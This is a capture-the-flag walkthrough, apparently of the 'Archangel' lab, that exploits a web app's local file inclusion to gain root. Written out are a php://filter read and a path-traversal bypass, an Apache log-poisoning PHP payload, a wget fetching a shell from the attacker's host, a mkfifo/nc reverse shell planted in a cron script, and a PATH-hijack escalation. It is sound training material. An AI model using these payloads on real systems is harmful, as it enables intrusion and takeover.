ARcHanG3l
Description
Path to accomplish the CTF:
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
Scanning¶
-
Assigned IP address:
-
Open Ports:
PORT |
SERVICE |
DESCRIPTION |
---|---|---|
- Nmap Report:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
# Nmap 7.93 scan initiated Mon Feb 20 01:06:35 2023 as: nmap -sC -sV -O -oN nmap.txt 10.10.45.108 Nmap scan report for 10.10.45.108 Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9f1d2c9d6ca40e4640506fedcf1cf38c (RSA) | 256 637327c76104256a08707a36b2f2840d (ECDSA) |_ 256 b64ed29c3785d67653e8c4e0481cae6c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Wavefire No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=2/20%OT=22%CT=1%CU=35053%PV=Y%DS=5%DC=I%G=Y%TM=63F30E0 OS:7%P=aarch64-unknown-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS OS:=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M OS:505ST11NW7%O6=M505ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4 OS:B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=40%CD=S) Network Distance: 5 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 20 01:07:03 2023 -- 1 IP address (1 host up) scanned in 27.88 seconds
Enumeration¶
As a part of Enumeration, I began by scanning the website on port 80 and stumbled upon a wavefire
template. But thankfully, this led me to the domain name "mafialive.thm", which I added to my /etc/hosts
file and accessed via the domain name.
1 2 3 4 5 |
|
Upon accessing the page, I discovered flag-1
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
But there was nothing noteworthy beyond that. As a result, I executed the dirsearch
script to locate hidden directories and files. Here, I discovered /test.php and accessed it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
|
In attempting to access "/etc/passwd
" via the URL http://mafialive.thm/test.php?view=/etc/passwd, I encountered some restrictions. To determine the parameters of access permissions, including those that were denied, I proceeded to review the source code.
I found this on web to encode the content as base64 and decode it back as php.
LFI-PHP Base64 Encode/Decode
php://filter/convert.base64-encode/resource=file:///etc/passwd
I proceeded to execute the following command:
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=file:///var/www/html/development_testing/test.php
Upon decoding the result, I was able to successfully access the test.php
file, and the source code appeared as follows. It seems that the flag-2 was hidden in the source code of the test.php file I accessed.
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|
The restrictions placed on the "view" parameter are evident; specifically, the string var/www/html/development_testing was allowed, while any occurrence of ../.. was not permitted. Through reverse engineering, I found a way to bypass these limitations, resulting in the following modified command.
GET /test.php?view=/var/www/html/development_testing/..//..//..//../etc/passwd HTTP/1.1
That was working, and It gave me the results.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|
Initial Access¶
I saw an opportunity to explore further and decided to try a different file. In the context of Local File Inclusion (LFI), the remote files cannot be accessed, but it is possible to modify the contents of local files. This provided an opening to execute a straightforward PHP script on log files.
GET /test.php?view=/var/www/html/development_testing/..//..//..//../var/log/apache2/access.log HTTP/1.1
The server is configured to use Apache, which usually stores its log files in the directory /var/log/apache2/access.log.
By utilizing the PHP command:
PHP Command Execution
<? passthru($_GET[cmd]) ?>
we could pass commands as an argument through cmd
and successfully execute them.
I though of a plan to download a reverse shell onto the server by utilizing the "cmd" argument. The command was structured as follows:
GET /test.php?view=/var/www/html/development_testing/..//..//..//../var/log/apache2/access.log&cmd=wget%20%20http://10.17.3.217:8000/shell.php HTTP/1.1
Note
I had a local Python HTTP server beforehand.
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
Subsequently, I accessed
GET /test.php?view=/var/www/html/development_testing/shell.php HTTP/1.1
Privilege Escalation¶
Gaining user access (Horizontal)¶
Afterwards, I was able to escalate my privileges horizontally for the user archangel
. By running the linpeas.sh
script, I discovered that there was a cron job running with the following configuration:
*/1 * * * * archangel /opt/helloworld.sh
This presented an opportunity to execute a reverse shell. To do so, I modified the code within the helloworld.sh
file to include the following command:
Reverse Shell Command
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.17.3.217 5433" > /opt/helloworld.sh
As a result of this change, I was able to successfully execute a reverse shell and obtain the flag-4 located at ~/secret/user2.txt
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
Gaining root access (Vertical)¶
Upon gaining access to the archangel
account, I was keen to identify any binaries with SUID permissions since I lacked passwords for any of the users. Consequently, I ran the following command:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
|
During the search, I noticed that the /home/archangel/secret/
directory appeared suspicious. Further investigation revealed the presence of an ELF binary
with the SUID bit set. I used the strings
command to examine its content, which indicated that the binary was copying files using the following command:
cp /home/user/archangel/myfiles/* /opt/backupfiles
However, since the path did not exist, it was unlikely that the program would run successfully. To exploit this vulnerability, I created a cp
binary file in the/tmp
directory and added the path to it as follows:
export PATH="/tmp:$PATH"
With this modification, I was able to execute the "cp" command with the SUID permissions and obtain a root shell.
- Flag 1: Hostname
- Flag 2: Exploiting LFI
- Flag 3: Initial Access
- Flag 4: User Flag
- Flag 5: Root Flag
Success
and from there, I had peace upon me!